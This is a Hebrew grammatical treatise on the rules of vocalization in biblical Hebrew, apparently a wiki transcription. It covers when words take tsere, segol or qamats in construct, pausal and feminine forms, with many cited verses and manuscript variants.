וכל לשון {{צ|מַעֲשֶׂה}}, {{צ|מַשְׁקֶה}}, {{צ|מִקְנֶה}}, {{צ|מִרְעֶה}}, אם הוא נסמך לתיבה שלאחריו, כגון {{צ|מַעֲשֵׂה חָרַשׁ}} {{ק|([[שמות כח יא]])}}, {{צ|מַשְׁקֵה הַמֶּלֶךְ שְׁלֹמֹה}} {{ק|([[מ&quot;א י כא]])}}, {{צ|מִקְנֵה צֹאן וּמִקְנֵה בָקָר}} {{ק|([[בראשית כו יד]])}}, {{צ|מִרְעֵה עֲדָרִים}} {{ק|([[ישעיהו לב יד]])}}, {{צ|מַעֲלֵה מִנְחָה}} {{ק|([[ישעיהו סו ג]])}}, {{צ|מִשְׁנֵה (למלך) [הַמֶּלֶךְ]}} {{ק|([[דה&quot;ב כח ז]])}}, {{צ|טוֹב מַרְאֵה עֵינַיִם}} {{ק|([[קהלת ו ט]])}}, {{צ|שֵׂה כְשָׂבִים וְשֵׂה עִזִּים}} {{ק|([[דברים יד ד]])}}, {{צ|מַכֵּה אִישׁ}} {{ק|([[שמות כא יב]])}}, [כי&quot;פ: {{צ|מַטֵּה רְאוּבֵן}} {{ק|([[במדבר א כא]])}}, {{צ|מַטֵּה שִׁמְעוֹן}} {{ק|([[במדבר א כג]])}},] {{צ|מַטֵּה אַהֲרֹן בְּתוֹךְ מַטּוֹתָם}} {{ק|([[במדבר יז כא]])}}, אלו וכל דומיהן ננקדין בצירי, מפני שהן נקראין ונסברין עם התיבה שלאחריהן. אבל אם הן עומדין בפני עצמן, כגון {{צ|כֹּל כְּלִי מַעֲשֶׂה}} {{ק|([[במדבר לא נא]])}}, והן [כי&quot;מ: י' פתחין:] {{צ|הַמַּשְׁקֶה וְהָאֹפֶה}} {{ק|([[בראשית מ ה]])}}, {{צ|וְלַעֲבָדֶיךָ מִקְנֶה}} {{ק|([[במדבר לב ד]])}}, {{צ|וְאַרְבַּע צֹאן תַּחַת הַשֶּׂה}} {{ק|([[שמות כא לז]])}}, {{צ|פָּרָשׁ מַעֲלֶה}} {{ק|([[נחום ג ג]])}}, {{צ|וְהִיא יֹשֶׁבֶת בִּירוּשָׁלִַם בַּמִּשְׁנֶה}} {{ק|([[מ&quot;ב כב יד]])}}, {{צ|נֶחְמָד לְמַרְאֶה}} {{ק|([[בראשית ב ט]])}}, {{צ|כִּי אֲנִי יְיָ מַכֶּה}} {{ק|([[יחזקאל ז ט]])}}, {{צ|שְׁנֵי הַמַּטּוֹת וַחֲצִי הַמַּטֶּה}} {{ק|([[במדבר לד טו]])}}, {{צ|וְקַח מֵאִתָּם מַטֶּה מַטֶּה}} {{ק|([[במדבר יז יז]])}}, {{צ|כִּי אֵין מִרְעֶה}} {{ק|([[בראשית מז ד]])}}, {{צ|אָז חֻלַּק עַד שָׁלָל מַרְבֶּה}} {{ק|([[ישעיהו לג כג]])}}, אלו וכל דומיהן ננקדין בסגול. 

וכל מקום שתמצא {{צ|בֹּנֶה}}, {{צ|עֹנֶה}}, {{צ|קֹנֶה}}, {{צ|חֹלֶה}}, {{צ|גֹּלֶה}}, [כי&quot;פ: {{צ|חֹנֶה}},] {{צ|פֹּנֶה}}, {{צ|צֹפֶה}}, {{צ|עֹלֶה}}, {{צ|מֹנֶה}}, הן וכל דומיהן ננקדין בסגול בין סמוכין בין עומדין. וכל {{צ|עֹשֶׂה}} דכוותהון ננקדין בסגול, בר מן ח' שהן ננקדין בצירי. וכל אמ&quot;ת דתק&quot;ע – א' אלה הדברים, מ' מלכים, ת' תרי עשר, ד' דברי הימים, ת' תילים, ק' קהלת, ע' עזרא – דכוותהון ננקדין בצירי, בר מן כ&quot;ב שהן ננקדין בסגול, וכולהון נמסרין במסורת הגדולה. וכל {{צ|הִנֵּה}} ננקדין בצירי, בר מן חד שהוא בסגול ומדגיש האות שלאחריו: {{צ|וַיֹּאמֶר הִנֶּה נָּא אֲדֹנַי סוּרוּ נָא}} {{ק|([[בראשית יט ב]])}}, ואין זולתו. 

וכל מקום שתמצא אות באמצע תיבה ואחריה ח&quot;ת או עי&quot;ן והן סוף תיבה, כגון {{צ|מִזְבֵּחַ}}, {{צ|הַשְׁבֵּעַ}}, {{צ|יִזָּרֵעַ}}, {{צ|כֹּרֵעַ}}, {{צ|שׁוֹמֵעַ}}, {{צ|פּוֹתֵחַ}}, {{צ|זוֹרֵחַ}}, דע שאותה אות אשר למעלה מן החי&quot;ת ומן העי&quot;ן ננקדת בצירי, מפני הברת האל&quot;ף הממוצעת בינותם. 

וכל מ&quot;ם שבסוף התיבה, והאות הקדומה לה היא משמשת ליסוד התיבה ומתקנת המלה, כגון {{צ|בְּנֵיכֶם}}, {{צ|בְּנֵיהֶם}}, {{צ|עֲלֵיהֶם}}, {{צ|עֲלֵיכֶם}}, {{צ|שִׁמְכֶם}}, {{צ|דִּמְכֶם}}, {{צ|וְשַׂמְתֶּם}}, {{צ|וּלְקַחְתֶּם}}, {{צ|וַעֲשִׂיתֶם}}, {{צ|וּבֵרַכְתֶּם}}, הן וכל דומיהן ננקדין בסגול. אבל אם האות הקדומה למ&quot;ם שבסוף התיבה היא יסוד התיבה, כגון {{צ|וַיְבָרֲכֵם בַּיּוֹם הַהוּא}} {{ק|([[בראשית מח כ]])}}, {{צ|וַאֲנִי אֲבָרֲכֵם}} {{ק|([[במדבר ו כז]])}}, {{צ|כִּי תִשְׁמְרֵם}} {{ק|([[משלי כב יח]])}}, עַטְּרֵם, {{צ|חוֹתֵם תָּכְנִית}} {{ק|([[יחזקאל כח יב]])}} וכל דומיהן, ננקדין בצירי. ואלו ואלו טעמם לרע. אבל אם התיבה שֵם ואינה דיבור, כגון {{צ|רֹתֶם}}, ננקדת בסגול וטעמה מלעיל. 

ועוד אודיעך: כל מקום שתמצא תיבה וה&quot;א בתחילתה, כגון {{צ|הֵרָאוֹת}} {{ק|([[ויקרא יג יד]])}}, {{צ|הֵרָאֹה}} {{ק|([[שופטים יג כא]])}}, {{צ|הֵעָלוֹת}} {{ק|([[במדבר ט יז]])}}, {{צ|הֵאָסֵף}} {{ק|([[בראשית כט ז]])}}, {{צ|הֵאָכֹל יֵאָכֵל}} {{ק|([[ויקרא ז יח]])}}, {{צ|שְׁתֵה גַם אַתָּה וְהֵעָרֵל}} {{ק|([[חבקוק ב טז]])}}, הואיל והן לשון פעל, אף על פי שאותה ה&quot;א היא משמשת, ננקדין בצירי. אבל אם היא משמשת למילה שהיא שֵם, כגון {{צ|הֶהָמוֹן}}, {{צ|הֶחָרָבָה}}, {{צ|הַפְּלִשְׁתִּי הֶעָרֵל}} {{ק|([[ש&quot;א יז כו]])}}, הן וכל דומיהן ננקדין בסגול. ועוד: אם הוא תמוהא, כגון {{צ|הֶאָכוֹל אָכַלְנוּ מִן הַמֶּלֶךְ}} {{ק|([[ש&quot;ב יט מג]])}}, [כי&quot;פ: {{צ|הֶאָנֹכִי הָרִיתִי}} {{ק|([[במדבר יא יב]])}},] {{צ|הֶאָנֹכִי לְאָדָם שִׂיחִי}} {{ק|([[איוב כא ד]])}}, {{צ|הֶאָמוּר בֵּית יַעֲקֹב}} {{ק|([[מיכה ב ז]])}}, {{צ|הֶאָמֹר תֹּאמַר אֱלֹהִים אָנִי}} {{ק|([[יחזקאל כח ט]])}}, גם אלו ננקדין בסגול. ואם אות א&quot;ח ה&quot;ע באה אחר ה' בראש התיבה והיא ננקדת בחטף פתח, אותה ה&quot;א הקדומה לה ננקדת בסגול, כגון {{צ|הֶעֱלִיתָנוּ מִמִּצְרַיִם}} {{ק|([[שמות יז ג]])}}, {{צ|הֶעֱלִיתָ בְכֹחֲךָ}} {{ק|([[במדבר יד יג]])}}, {{צ|הֶחֱיִתָנוּ}} {{ק|([[בראשית מז כה]])}}, {{צ|הֶאֱמַנְתִּי לִרְאוֹת}} {{ק|([[תהלים כז יג]])}}. 

ועוד דע והבן: כל זמן שתהיה המלה [כי&quot;מ: על בניין מפעל] היא פתוחה, כגון {{צ|אֶרֶץ}}, {{צ|בֶּרֶךְ}} שהוא לשון ברכים – אבל המלה שהיא לשון ברכה, כמו {{צ|וּבֵרֵךְ [וְ]לֹא אֲשִׁיבֶנָּה}} {{ק|([[במדבר כג כ]])}}, {{צ|וּבֹצֵעַ בֵּרֵךְ}} {{ק|([[תהלים י ג]])}}, הן קמצין וטעמן לרע – וגם {{צ|גֶּשֶׁם}}, {{צ|דֶּרֶךְ}}, {{צ|חֶרֶם}}, {{צ|הֶבֶל}}, זרה {{צ|זֶרֶם}}, {{צ|שֶׁלֶג}}, {{צ|שֶׁמֶן}}, הן ודומיהן נפתחין בסגול כולם כמו {{צ|אֶרֶץ}} וטעמן לעיל. ובבוא מילה מן המלים האלה ודומיהן באתנחתא וסוף פסוק, נהפך תחילת המלה בקמץ גדול, כמו {{צ|אֶרֶץ אֶרֶץ אָ֑רֶץ}} {{ק|([[ירמיהו כב כט]])}} {{צ|פַּנּוּ דָ֑רֶךְ}} {{ק|([[ישעיהו נז יד]])}}, {{צ|עָלֶיךָ פָּ֑רֶץ}} {{ק|([[בראשית לח כט]])}}, {{צ|יִפְרְצֵנִי פֶרֶץ עַל פְּנֵי פָ֑רֶץ}} {{ק|([[איוב טז יד]])}}, {{צ|לְפָנָיו יֵלֶךְ דָּ֑בֶר}} {{ק|([[חבקוק ג ה]])}}, {{צ|אָיִן כִּי הַכֹּל הָֽבֶל}} {{ק|([[קהלת ג יט]])}}, {{צ|תַּחְתָּיו חַדּוּדֵי חָ֑רֶשׂ}} {{ק|([[איוב מא כב]])}}, {{צ|וְסֵתֶר זָ֑רֶם}} {{ק|([[ישעיהו לב ב]])}}, {{צ|וְלֹא עֲלֵיהֶם יִהְיֶה הַגָּֽשֶׁם}} {{ק|([[זכריה יד יז]])}}, {{צ|עָלֵימוֹ יִתְעַלֶּם שָֽׁלֶג}} {{ק|([[איוב ו טז]])}}, {{צ|וַיַּעֲמֹד הַשָּֽׁמֶן}} {{ק|([[מ&quot;ב ד ו]])}}. כל הנהפכין מן סגול באתנחתא וסוף פסוק לקמץ גדול כמו אלה, הן ננקדין כולן בסגול כשאינן באין לאתנחתא וסוף פסוק. וזקף וזרקא נלוו אליהם במיעוט מקומות, כגון {{צ|לִנְטֹעַ שָׁמַיִם וְלִיסֹד אָ֔רֶץ}} {{ק|([[ישעיהו נא טז]])}}, [כי&quot;מ: {{צ|וְרָאוּ כָּל אַפְסֵי אָ֔רֶץ}} {{ק|([[ישעיהו נב י]])}}, {{צ|נוֹטֶה שָׁמַיִם וְיֹסֵד אָ֒רֶץ}} {{ק|([[ישעיהו נא יג]])}},] והם על פי מסורת משונין מגזרתן. 

ויש מלין שהן ננקדין בסגול, ואף על פי כן לא יתכנו לבוא באתנחתא וסוף פסוק בקמץ גדול, כמו {{צ|עֶבֶר}}, {{צ|עֶדֶר}}, {{צ|מֶלֶךְ}}, {{צ|נֶגֶב}}, {{צ|מַאֲכֶלֶת}}, {{צ|קֶדֶם}}, {{צ|חֶמֶת}}, {{צ|עֶדֶן}}, {{צ|מֶלַח}}, הן וכל דומיהן על פי המסורת נכללים. וגם {{צ|חֶבֶל}} ננקד בסגול, בר מן חד שהוא ננקד חציו בצירי וחציו בסגול: {{צ|בְּטֶרֶם יָבוֹא חֵבֶל לָהּ}} {{ק|([[ישעיהו סו ז]])}}, מפני שהוא כמו מכאוב. וגם {{צ|נֶדֶר}} הוא ננקד בסגול, בר מן ה' שתחילתן בצרי וסופן בסגול: {{צ|וּלְנֵדֶר לֹא יֵרָצֶה}} {{ק|([[ויקרא כב כג]])}}, {{צ|כָּל נֵדֶר וְכָל שְׁבֻעַת אִסָּר}} {{ק|([[במדבר ל יד]])}}, {{צ|וְנֵדֶר אַלְמָנָה}} {{ק|([[במדבר ל י]])}}, {{צ|וְנָדְרוּ נֵדֶר לַייָ וְשִׁלֵּמוּ}} {{ק|([[ישעיהו יט כא]])}}, {{צ|כִּי נֵדֶר נָדַר עַבְדְּךָ}} דאבשלום {{ק|([[ש&quot;ב טו ח]])}}. 

וכל שאין יכול לבוא באתנחתא וסוף פסוק בקמץ גדול, לא יתכן תחלת התיבה להיות כי אם בצירי וסופה בסגול, כגון {{צ|אֵפֶר}}, {{צ|חֵרֶם}}, {{צ|חֵלֶק}}, {{צ|עֵרֶב רַב}} {{ק|([[שמות יב לח]])}} ו{{צ|שְׁתִי וָעֵרֶב}}, {{צ|עֵשֶׂב}}, {{צ|סֵפֶר}}, {{צ|שֵׁשֶׁת}}, {{צ|חֲמֵשֶׁת}}, {{צ|תְּכֵלֶת}}, {{צ|עֵגֶל}}, וכל דומיהן. 

{{צ|שֶׁבֶר}} כולו בסגול, בר מן ג' מקומות שתחילתו בצירי וסופו בסגול, וסימן: {{צ|כְּשֵׁבֶר נֵבֶל יוֹצְרִים}} {{ק|([[ישעיהו ל יד]])}}, {{צ|וְלֹא נֶחְלוּ עַל שֵׁבֶר יוֹסֵף}} {{ק|([[עמוס ו ו]])}}, {{צ|וּמִשֵּׁבֶר רוּחַ תְּיֵלִילוּ}} {{ק|([[ישעיהו סה יד]])}}, והנם על פי המסורת. 

וכל {{צ|תֵּשַׁע}} תחילתו בצירי וסופו בפתח, מפני שאינו יוצא באתנחתא וסוף פסוק בקמץ גדול. אבל {{צ|שֶׁבַע}} תחלתו בסגול, שהוא יוצא באתנחתא וסוף פסוק בקמץ גדול, כגון {{צ|וַיִּטַּע אֶשֶׁל בִּבְאֵר שָׁבַע}} {{ק|([[בראשית כא לג]])}}. 

וכל {{צ|יֵשַׁע}}, {{צ|לְיֵשַׁע}}, הן בצרי, בר מן ה' בסגול, וסימן: {{צ|הַרְעִיפוּ}} {{ק|([[ישעיהו מה ח]])}}, {{צ|שׂוֹשׂ}} {{ק|([[ישעיהו סא י]])}}, {{צ|וְכֹהֲנֶיהָ}} {{ק|([[תהלים קלב טז]])}}, {{צ|יִרְחֲקוּ}} {{ק|([[איוב ה ד]])}}. 

וגם {{צ|מֵצַח אַהֲרֹן}} {{ק|([[שמות כח לח]])}}, {{צ|וּמֵצַח אִשָּׁה ז&lt;!-- לא למחוק --&gt;וֹנָה}} {{ק|([[ירמיהו ג ג]])}}, {{צ|אֵין מֵזַח עוֹד}} {{ק|([[ישעיהו כג י]])}}, {{צ|וּלְמֵזַח תָּמִיד יַחְגְּרֶהָ}} {{ק|([[תהלים קט יט]])}} – כולהון ננקדין בצירי. 

ולא תמצא חילוק בכל המקרא ב{{צ|אֶרֶץ}} ורעיה לא בסמיכה ולא בפרידה, ואין להם שינוי בנקודתן כדרך שאר התיבות הסמוכות, כמו {{צ|אֶרֶץ מִצְרַיִם}} {{ק|([[בראשית מא יט]])}} נמצא בהסמכו ל{{צ|מִצְרַיִם}} ננקדין כולו בסגול, כאילו הוא עומד בפני עצמו, כמו {{צ|אֶרֶץ אֶרֶץ אָרֶץ}} {{ק|([[ירמיהו כב כט]])}} ששנים מהם אינן נסמכין לשום מילה והם פתחין בסגול כמו אותו הסמוך ל{{צ|מִצְרַיִם}}. וכמו כן {{צ|גֶּשֶׁם נְדָבוֹת תָּנִיף אֱלֹהִים}} {{ק|([[תהלים סח י]])}}, {{צ|דֶּרֶךְ הַר שֵׂעִיר}} {{ק|([[דברים א ב]])}}. זולתי {{צ|הֶבֶל}} אשר נחלף בנינו בסמיכתו, כאמרך {{צ|הֲבֵל הֲבָלִים}} {{ק|([[קהלת א ב]])}}. ועוד {{צ|וְחֵמַת מַיִם}} {{ק|([[בראשית כא יד]])}} נחלף מעיקרו ונלוה אל {{צ|הֲבֵל הֲבָלִים}}, וכשאינו סמוך אל {{צ|מַיִם}} הוא נקרא {{צ|חֵמֶת}}, כגון {{צ|וַיִּכְלוּ הַמַּיִם מִן הַחֵמֶת}} {{ק|([[בראשית כא טו]])}}, [כי&quot;פ: {{צ|וַתֵּלֶךְ וַתְּמַלֵּא אֶת הַחֵמֶת}} {{ק|([[בראשית כא יט|שם פסוק יט]])}}]. ועוד {{צ|עִם גְּבַר תָּמִים}} {{ק|([[תהלים יח כו]])}} נתחלף מעיקרו ונלוה אל {{צ|הֲבֵל הֲבָלִים}}. ופתרון {{צ|עִם גְּבַר תָּמִים}}: גבר תמימות, ואינו מגזרת {{צ|תָּמִים תִּהְיֶה}} {{ק|([[דברים יח יג]])}}; ומצינו מילים על הבניין הזה. 

ודע כי {{צ|מֵכִין תֵּבֵל בְּחָכְמָתוֹ}} {{ק|([[ירמיהו י יב]])}}, וכל {{צ|תֵּבֵל}} שהוא לשון ארץ, כולו נקמץ בצירי, כדי שלא ישתוה עם {{צ|תֶּבֶל עָשׂוּ}} {{ק|([[ויקרא כ יב]])}} שתחילתו בצירי וסופו בסגול. וכן {{צ|לֹא תְקַלֵּל חֵרֵשׁ}} {{ק|([[ויקרא יט יד]])}} ננקד כולו בצירי, מפני שהוא ממשקל {{צ|גִּבֵּן}} ו{{צ|אִלֵּם}}, ואינו מגזרת {{צ|חֶרֶשׁ לֵאמֹר}} {{ק|([[יהושע ב א]])}}. 

ואל תדין {{צ|יֶרֶךְ}} ו{{צ|כֶּתֶף}} [כי&quot;מ: ו{{צ|גֶּדֶר}}] ו{{צ|גֶּזֶל}} על משקל {{צ|אֶרֶץ}} ורעיה שנגינתן מלעיל, כי לא אחד מאלה פתח בסגול ולא הטעם מלעיל כי אם בסמיכה, כגון {{צ|יֶרֶךְ יַעֲקֹב}} {{ק|([[בראשית לב כו]])}}, {{צ|אֶל כֶּתֶף הַבַּיִת}} {{ק|([[מ&quot;א ו ח]])}}, {{צ|וְגֶדֶר אֲבָנָיו נֶהֱרָסָה}} {{ק|([[משלי כד לא]])}}, {{צ|גָּזַל גֵּזֶל אָח}} {{ק|([[יחזקאל יח יח]])}}. ויש אומרים: {{צ|וְעָפוּ בְכָתֵף פְּלִשְׁתִּים}} {{ק|([[ישעיהו יא יד]])}} ראוי היה להיות נקוד כולו בסגול בעבור סמיכתו ל{{צ|פְּלִשְׁתִּים}}. וכמו כן {{צ|יֶרַח יָמִים}} {{ק|([[דברים כא יג]])}} סמוך, {{צ|יָרֵחַ}} מובדלת –{{צ|עַד בְּלִי יָרֵחַ}} {{ק|([[תהלים עב ז]])}}. וכן בשמות: {{צ|כָּבֵד לֵב פַּרְעֹה}} {{ק|([[שמות ז יד]])}} – {{צ|עַם כֶּבֶד עָוֹן}} {{ק|([[ישעיהו א ד]])}}; {{צ|עָרֵל}} – {{צ|עֲרַל שְׂפָתָיִם}} {{ק|([[שמות ו יב]])}} – {{צ|עֶרֶל לֵב וְעֶרֶל בָּשָׂר}} {{ק|([[יחזקאל מד ט]])}}; {{צ|וַיִּבֶן יְיָ אֱלֹהִים אֶת הַצֵּלָע}} {{ק|([[בראשית ב כב]])}}, {{צ|(בקבר) [בְּאֶרֶץ] בִּנְיָמִן בְּצֵלָע}} {{ק|([[ש&quot;ב כא יד]])}} – {{צ|וּלְצֶלַע הַמִּשְׁכָּן}} {{ק|([[שמות כו כ]])}}, {{צ|עַל צֶלַע צָפוֹן}} {{ק|([[שמות כו לה]])}}. ואל תטעה ותחשוב {{צ|וְצֵלַע הָאֶלֶף}} {{ק|([[יהושע יח כח]])}} סמוך וטעמו מלעיל, אינו כי אם לרע ונפרד, לפי שלא יעלה בידך חשבון {{צ|אַרְבַּע עֶשְׂרֵה}} {{ק|([[יהושע יח, כח|שם]])}} עד שתחשב {{צ|וְצֵלַע}} קריה אחת, ו{{צ|הָאֶלֶף}} קריה אחת, {{צ|גִּבְעַת}} קריה אחת, {{צ|קִרְיַת}} קריה אחת. ומבלי סמיכת {{צ|יָרֵךְ}} ו{{צ|כָּתֵף}}, תהיה תחלת אותיותיהם קמץ גדול ושני קמץ קטן, כמו {{צ|לָכֵן סְפֹק אֶל יָרֵךְ}} {{ק|([[יחזקאל כא יז]])}}, {{צ|וְלַכָּתֵף הַשֵּׁנִית}} {{ק|([[שמות כז טו]])}}, {{צ|גָּדֵר מִזֶּה וְגָדֵר מִזֶּה}} {{ק|([[במדבר כב כד]])}}, [כי&quot;פ: {{צ|אוֹ בְגָזֵל}} {{ק|([[ויקרא ה כא]])}}]. 

וגם אלו המילים: {{צ|אָוֶן}} ו{{צ|תָּוֶךְ}}, {{צ|עָוֶל}}, האל&quot;ף והת&quot;ו והעי&quot;ן קמצין בקמץ גדול, ו&quot;ויהם בסגול הנפתח. ונתחבר {{צ|עָוֶל}} ורעיו בסמיכה עם {{צ|כָּתֵף}} וחביריו, כמו {{צ|בְּעֶוֶל רְכֻלָּתְךָ}} {{ק|([[יחזקאל כח יח]])}}. ומצאנו מ{{צ|אָוֶן}} – {{צ|מַחְשְׁבוֹת אוֹנֵךְ}} {{ק|([[ירמיהו ד יד]])}}, ומן {{צ|תָּוֶךְ}} – {{צ|אֶל תּוֹךְ הַיָּם}} {{ק|([[שמות יד כג]])}}, ונשבת הנעת הוי&quot;ו. 

והתבונן בבוא שם פועל על משקל {{צ|אֶרֶץ}} ורעיו והיתה שלישית אותיותיו ח&quot;ת או עי&quot;ן, תתחלפנה האותיות השניות הקדומות לח&quot;ת ועי&quot;ן מפתח קטן לפתח גדול וטעמ' מלעיל כבתחילה, כגון {{צ|פֶּתַח}}, {{צ|פֶּקַח}}, {{צ|פֶּרַח}}, {{צ|צֶמַח}}, {{צ|רֶוַח}}, {{צ|רֶצַח}}, {{צ|קֶרַח}}, {{צ|זֶרַח}}, {{צ|זֶרַע}}, {{צ|נֶגַע}}, {{צ|רֶגַע}}, {{צ|רֶשַׁע}}, {{צ|בֶּצַע}}, {{צ|שֶׁבַע}}, {{צ|פֶּצַע}}, {{צ|פֶּתַע}}, {{צ|שֶׁבַח}}, {{צ|שֶׁמַע}}. ונלוה אליהם אות ה&quot;א במיעוט מקומות, כמו {{צ|סֶלָה}}, והיה עיקר המילים האלה להיות נפתחות בסגול, אבל למען בואם באחריתם שלשת אותיות הללו – ח&quot;ת ועי&quot;ן וה&quot;א – נפתחו האותיות הקרובות אליהם בפתח גדול, והאותיות הראשונות בסגול ולא יסורו מבניינם. לבד באתנחתא וסוף פסוק יבואו קמוצין כעניין {{צ|אֶרֶץ}} ורעיו, כגון {{צ|זֹרֵעַ זָ֑רַע}} {{ק|([[בראשית א כט]])}}, אשר בא אות הז' באתנחתא או סוף פסוק ננקדת בקמץ גדול, וכמהו {{צ|בְצִלְצְלֵי שָׁ֑מַע}} {{ק|([[תהלים קנ ה]])}}, השי&quot;ן ננקדת בקמץ גדול עבור בואה באתנחתא. וכמוהם {{צ|וּמְקוֹם הַצֶּדֶק שָׁמָּה הָרָֽשַׁע}} {{ק|([[קהלת ג טז]])}}, יען בואו בסוף פסוק הר&quot;ש קמץ ומלעיל, ועיקרו הָרֶשַׁע. וכמהו {{צ|וְעָשָׂה קָצִיר כְּמוֹ נָֽטַע}} {{ק|([[איוב יד ט]])}}, כל אלה מלעיל. אבל בהצטרפם לפועל עבר תהיה נגינתם מלרע ולא מלעיל, כמו {{צ|וְהָיָה אִם זָרַ֣ע יִשְׂרָאֵל}} {{ק|([[שופטים ו ג]])}} למען הרחיקו מן {{צ|זֹרֵעַ זָ֑רַע}} שהוא מלעיל. וכמהו {{צ|וְיַעֲקֹב שָׁמַ֗ע}} {{ק|([[בראשית לד ה]])}}, הטעם מלרע שהוא דיבור, למען הפרידו מן {{צ|בְצִלְצְלֵי שָׁ֑מַע}} שהוא שם וטעמ' מלעיל. וכמהו {{צ|אֲשֶׁר נָטַע כֶּרֶם}} {{ק|([[דברים כ ו]])}}, כדי להפרידו מן {{צ|וְעָשָׂה קָצִיר כְּמוֹ נָֽטַע}}. 

ודע כי לא יאתו גם בסמיכתם כי אם כעניין {{צ|אֶרֶץ מִצְרַיִם}}, וכמו {{צ|נֶגַע צָרַעַת}} {{ק|([[ויקרא יג ג]])}}, {{צ|בֶּצַע כֶּסֶף}} {{ק|([[שופטים ה יט]])}}. זולתי כמעט: {{צ|כִּזְרַע גַּד}} {{ק|([[במדבר יא ז]])}}, {{צ|בִּזְרַע אֲנָשָׁ[א]}} {{ק|([[דניאל ב מג]])}}, {{צ|נְטַע שַׁעֲשׁוּעָיו}} {{ק|([[ישעיהו ה ז]])}}. 

או&quot;י חוקי נקידה הם, והברת חמשת הקולות נשמעות מתוכן למען התרחק פתרון כל מלה מחברתה, כמו {{צ|חֵרֵף עֹשֵׂהוּ}} {{ק|([[משלי יד לא]])}}, {{צ|מֵאֵן בִּלְעָם}} {{ק|([[במדבר כב יד]])}}, {{צ|וְשֵׁרֵת אֶת אֶחָיו}} {{ק|([[במדבר ח כו]])}}, {{צ|בֵּאֵר אֶת הַתּוֹרָה הַזֹּאת}} {{ק|([[דברים א ה]])}}, שהיה עיקרן להיות דגשין, כמו {{צ|דִּבֶּר}}, {{צ|שִׂבֶּר}}, ובאו רפין בעבור ר' וא' שאין יכולין להדגש, והם פעלים שעברו. וכן תמצא הפעלים שעברו שאין אות א&quot;ח ה&quot;ע ממוצע ביניהם, כגון {{צ|דִּבֶּר}}, {{צ|שִׂבֶּר}}, {{צ|סִפֶּר}}, [כי&quot;מ: {{צ|כִּפֶּר}},] {{צ|שִׁבֶּר}}, ננקדין בסגול, לבד מאשר בא באתנחתא או סוף פסוק שהן ננקדין בצירי. ויש אחד מהם במקרא אשר בא בסגולה אחרי הזרקא ונקמץ בצירי: {{צ|הִנֵּה הֶחֱיָה יְיָ אוֹתִי כַּאֲשֶׁר דִּבֵּר֒}} ביהושע {{ק|([[יהושע יד י|יד י]])}}, ואין זולתו. ואם הם להבא נקמצין בצירי, כמו {{צ|דַּבֵּר}}, [כי&quot;מ: {{צ|כַּפֵּר}},] {{צ|שַׁבֵּר}}, {{צ|סַפֵּר}}. ואם אות א&quot;ח ה&quot;ע ממוצעת שם, כגון {{צ|שִׁחֵת}}, {{צ|מֵאֵן}}, {{צ|בִּעֵר}}, {{צ|טִהֵר}}, {{צ|טַהֵר}}, {{צ|מַהֵר}}, {{צ|בַּעֵר}}, {{צ|שַׁחֵת}}, בין להבא בין לשעבר ננקדין בצירי. 

ועוד אודיעך: כל מלה שהיא לשון נקבה, כגון {{צ|עוֹמֶדֶת}}, {{צ|אֹכֶלֶת}}, הן וכל דומיהן ננקדין בסגול; בר מן אתנחתא וסוף פסוק, שהן ננקדין הראשון בקמץ גדול והשני בסגול, כגון {{צ|וְהָאָרֶץ לְעוֹלָם עֹמָֽדֶת}} {{ק|([[קהלת א ד]])}}, {{צ|כְּאֵשׁ אֹכָֽלֶת}} {{ק|([[ישעיהו ל כז]])}}. ויש מיעוט תיבות שהן יוצאות מתנאי זה, כגון {{צ|הַמַּאֲכֶ֑לֶת}} {{ק|([[בראשית כב ו]] ועוד 1)}}, {{צ|אָמְרָה קֹהֶ֑לֶת}} {{ק|([[קהלת ז כז]])}}, {{צ|לָרֶ֑דֶת}} {{ק|([[בראשית מד כו]] ועוד 2)}}, {{צ|וַתְּהִי לוֹ לְאֹמֶֽנֶת}} {{ק|([[רות ד טז]])}}, אף על פי שבאין אתנחתא וסוף פסוק, אינן יוצאין משיטתן ונקודתן בסגול. וגם {{צ|לָלֶכֶת}} כמו כן ננקדין בסגול בין באתנחתא בין בסוף פסוק, בר מן חד סוף פסוק והוא ננקד(ין) בקמץ גדול: {{צ|שָׁם הֵם שָׁבִים לָלָֽכֶת}} {{ק|([[קהלת א ז]])}}, ואין זולתו. ואם תמצא ח&quot;ת או עי&quot;ן באמצע תיבה, כמו {{צ|הַנִּשְׁמַעַת}} {{ק|([[ירמיהו נא מו]])}}, {{צ|הַנֹּגַעַת}} {{ק|([[במדבר יט כב]])}}, {{צ|בֹּרַחַת}} {{ק|([[בראשית טז ח]])}} וכל דומיהן, ננקדין בפתח גדול. 

ועוד דע והבן, כי {{צ|אֶקְרָא}}, {{צ|אֶפְעַל}}, {{צ|אֶשְׁמֹר}}, במשקל עם {{צ|אֵשְׁבָה}}, {{צ|אֵדְעָה}}, אלה פתוחים בסגול ואלה קמוצים בצירי למען האות השוכנת בהם. כי עיקר {{צ|אֵשְׁבָה}}, {{צ|אֵדְעָה}} – יָשַׁב, יָדַע, ויכול אדם להוציא מביניהן השבא בהרבה עיניינים, לפיכך יתכן להיות ננקד בצירי ובגעיא להורות על האל&quot;ף שהיא שוכנת. ודע כי אותיות יהו&quot;א המה אותיות השיכון, ואולם הה&quot;א לא תשכון כי אם בסוף התיבה, כמו {{צ|עֵדָה}}. ומעיקר {{צ|אֶקְרָא}}, {{צ|אֶפְעַל}}, {{צ|אֶשְׁמֹר}}, אין אדם יכול להוציא מתוכן השבא אם אות אית&quot;ן באה בראשן, ולכך תצא האל&quot;ף במהירות ונפתחת בסגול באלו. אבל ב{{צ|אֵשְׁבָה}}, {{צ|אֵדְעָה}}, אע&quot;פ שאות אית&quot;ן באה בראשן, אדם יכול להוציא מתוכן השבא, כגון {{צ|אֵשֵׁב}}, {{צ|אֵדַע}}, {{צ|יֵשֵׁב}}, {{צ|יֵדַע}}, {{צ|תֵּשֵׁב}}, {{צ|תֵּדַע}}, {{צ|נֵשֵׁב}}, {{צ|נֵדַע}}, ולפיכך הן חלוקין זה מזה. 

וכל {{צ|אֵלֶיךָ}}, {{צ|בָּנֶיךָ}}, {{צ|עָלֶיךָ}}, {{צ|שֹׁמְרֶךָ}}, {{צ|כַּפֶּיךָ}}, {{צ|עֵינֶיךָ}}, {{צ|לְעֹזְרֶךָ}} {{ק|([[דה&quot;א יב יט]])}}, שהן לשון זכר, ננקדין בסגול; ואם הן לשון נקבה, כגון {{צ|בְּנֵךְ}}, {{צ|שְׂכָרֵךְ}}, {{צ|צֹאנֵךְ}}, הן ננקדין בצירי. 

